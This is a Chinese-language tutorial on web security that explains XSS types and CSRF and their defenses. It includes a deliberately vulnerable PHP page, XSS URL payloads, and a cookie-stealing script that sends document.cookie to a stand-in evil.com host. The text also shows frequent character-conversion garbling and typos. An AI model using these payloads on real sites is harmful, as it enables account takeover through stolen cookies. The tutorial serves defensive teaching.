Web安全之XSS攻击

XSS攻击

XSS攻击简介

跨站脚本攻击(XSS),英文全称 Cross Site Script, 是Web安全头号大敌。
XSS攻击，通常是指黑客经过在网页中注入恶意脚本，当用户浏览网页时，恶意脚本执行，控制用户浏览器行为的一种攻击方式。其中，XSS攻击一般分为反射型XSS、存储型XSS、DOM Based XSS三种。能够经过如下例子看看XSS攻击是如何产生的。

一个简单的例子

本地服务器的的/xssTest 目录下，有一个test.php文件，代码以下：

<?php
    $userName=$_GET['userName'];                    //获取用户输入的参数
    echo "<b>".$userName."</b>";                    //直接输出用户的参数给前端页面
?>

正常状况下，用户提交的姓名能够正确显示在页面上，不会构成XSS攻击，好比，当用户访问如下URL：

http://localhost/xssTest/test.php?userName=jack

页面会显示：

能够看到，用户在URL中输入的参数正常显示在页面上。

而后，咱们尝试在URL中插入JavaScript代码，如：

http://localhost/xssTest/test.php?userName=<script>window.open(http://www.baidu.com)</script>

则页面会显示：

能够看到，页面没有把userName后面的内容显示出来，并且打开了一个新的标签页,缘由是在URL中带有一段打开另外一标签页的恶意脚本。
这个例子虽然简短，但体现了最简单的XSS攻击的完整流程。

XSS攻击类型

根据攻击的方式，XSS攻击能够分为三类：反射型XSS、存储型XSS、DOM Based XSS。

__反射型XSS__也被称为非持久性XSS,这种攻击方式把XSS的Payload写在URL中，经过浏览器直接“反射”给用户。这种攻击方式一般须要诱使用户点击某个恶意连接，才能攻击成功。
__存储型XSS__又被称为持久性XSS,会把黑客输入的恶意脚本存储在服务器的数据库中。当其余用户浏览页面包含这个恶意脚本的页面，用户将会受到黑客的攻击。一个常见的场景就是黑客写下一篇包含恶意JavaScript脚本的博客文章，当其余用户浏览这篇文章时，恶意的JavaScript代码将会执行。
DOM Based XSS 是一种利用前端代码漏洞进行攻击的攻击方式。前面的反射型XSS与存储型XSS虽然恶意脚本的存放位置不一样，但其本质都是利用后端代码的漏洞。
反射型和存储型xss是服务器端代码漏洞形成的，payload在响应页面中，DOM Based中，payload不在服务器发出的HTTP响应页面中，当客户端脚本运行时（渲染页面时），payload才会加载到脚本中执行。

XSS攻击的危害

咱们把进行XSS攻击的恶意脚本成为XSS Payload。XSS Payload的本质是JavaScript脚本，因此JavaScript能够作什么，XSS攻击就能够作什么。
一个最多见的XSS Payload就是盗取用户的Cookie,从而发起Cookie劫持攻击。Cookie中，通常会保存当前用户的登陆凭证，若是Cookie被黑客盗取，觉得着黑客有可能经过Cookie直接登进用户的帐户，进行恶意操做。
以下所示，攻击者先加载一个远程脚本：

http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>

而真正的XSS Payload，则写在远程脚本evil.js中。在evil.js中，能够经过下列代码窃取用户Cookie：

var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);  
document.body.appendChild(img);

这段代码插入了一张看不见的图片，同时把document.cookie做为参数，发到远程服务器。黑客在拿到cookie后，只须要替换掉自身的cookie，就能够登入被盗取者的帐户，进行恶意操做。
一个网站的应用只须要接受HTTP的POST请求和GET请求，就能够完成全部的操做，对于黑客而言，仅经过JavaScript就能够完成这些操做。

防护

其实现在一些流行的浏览器都内置了一些对抗XSS的措施，好比Firefox的CSP、IE 8内置的XSS Filter等。除此以外，还有如下防护手段

HttpOnly

HttpOnly最先是由微软提出，并在IE6中实现的，至今已逐渐成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly 属性的Cookie。如下浏览器开始支持HttpOnly:

• Microsoft IE 6 SP1+
• Mozilla FireFox 2.0.0.5+
• Mozilla Firefox 3.0.0.6+
• Google Chrome
• Apple Safari 4.0+

• Opera 9.5+
  一个Cookie的使用过程以下：
  Step1: 浏览器向服务器发送请求，这时候没有cookie。
  Step2: 服务器返回同时，发送Set-Cookie头，向客户端浏览器写入Cookie。
  Step3: 在该Cookie到期前，浏览器访问该域名下全部的页面，都将发送该Cookie。
  而HttpOnly是在Set-Cookie时标记的。

  输入检查

  常见的Web漏洞，如XSS、SQL注入等，都要求攻击者构造一些特殊的字符串，而这些字符串是通常用户不会用到的，因此进行输入检查就颇有必要了。
  输入检查能够在用户输入的格式检查中进行。不少网站的用户名都要求是字母及数字的组合如“abc1234”，其实也能过滤一部分的XSS和SQL注入。可是，这种在客户端的限制很容易被绕过，攻击者能够用JavaScript或一些请求工具，直接构造请求，想网站注入XSS或者SQL。因此，除了在客户端进行格式检查，每每还须要在后端进行二次检查。客户端的检查主要做用是阻挡大部分误操做的正经常使用户，从而节约服务器资源。

对输出转义

在输出数据以前对潜在的威胁的字符进行编码、转义是防护XSS攻击十分有效的措施。
为了对抗XSS,在HtmlEncode中至少转换如下字符：

< 转成 &lt;

> 转成 &gt;

& 转成 &amp;

“ 转成 &quot;

‘ 转成 &#39

CSRF攻击及防御

1、CSRF是什么

CSRF全称为跨站请求伪造（Cross-site request forgery），是一种网络攻击方式，也被称为 one-click attack 或者 session riding。

2、CSRF攻击原理

CSRF攻击利用网站对于用户网页浏览器的信任，挟持用户当前已登录的Web应用程序，去执行并不是用户本意的操做。

3、CSRF攻击实例

角色：

• 正常浏览网页的用户：User
• 正规的可是具备漏洞的网站：WebA
• 利用CSRF进行攻击的网站：WebB

流程：
1.用户登陆、浏览并信任正规网站WebA，同时，WebA经过用户的验证并在用户的浏览器中产生Cookie。

2.攻击者WebB经过在WebA中添加图片连接等方式诱导用户User访问网站WebB。

3.在用户User被诱导访问WebB后，WebB会利用用户User的浏览器访问第三方网站WebA，并发出操做请求。

4.用户User的浏览器根据WebB的要求，带着步骤一中产生的Cookie访问WebA。

5.网站WebA接收到用户浏览器的请求，WebA没法分辨请求由何处发出，因为浏览器访问时带上用户的Cookie，所以WebA会响应浏览器的请求，如此一来，攻击网站WebB就达到了模拟用户操做的目的。

4、CSRF攻击防御
上文简单的叙述了CSRF攻击的原理，接下来将要介绍几种CSRF攻击的防御方法。

• 只使用JSON API
  使用JavaScript发起AJAX请求是限制跨域的，并不能经过简单的

  表单来发送JSON，因此，经过只接收JSON能够很大可能避免CSRF攻击。

• 验证HTTP Referer字段
  根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。在一般状况下，访问一个安全受限页面的请求来自于同一个网站，好比上文中用户User想要在网站WebA中进行转帐操做，那么用户User
  • 必须先登陆WabA
  • 而后再经过点击页面上的按钮出发转帐事件

这时该转账请求的 Referer 值就会是转帐按钮所在的页面的URL，而若是黑客要对银行网站实施 CSRF攻击，他只能在他本身的网站构造请求，当用户User经过黑客的网站发送请求到WebA时，该请求的 Referer 是指向黑客本身的网站。
所以，要防护 CSRF 攻击，网站WebA只须要对于每个转帐请求验证其 Referer 值，若是是以网站WebA的网址开头的域名，则说明该请求是来自WebA本身的请求，是合法的。若是 Referer 是其余网站的话，则有多是黑客的 CSRF 攻击，拒绝该请求。

• 在请求地址中添加takon验证

CSRF 攻击之因此可以成功，是由于黑客能够彻底伪造用户的请求，该请求中全部的用户验证信息都是存在于 cookie 中，所以黑客能够在不知道这些验证信息的状况下直接利用用户本身的 cookie 来经过安全验证。要抵御 CSRF，关键在于在请求中放入黑客所不能伪造的信息，而且该信息不存在于 cookie 之中。能够在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端创建一个拦截器来验证这个 token，若是请求中没有 token 或者 token 内容不正确，则认为多是 CSRF 攻击而拒绝该请求。 这种方法要比检查 Referer 要安全一些，token 能够在用户登录后产生并放于 session 之中，而后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对。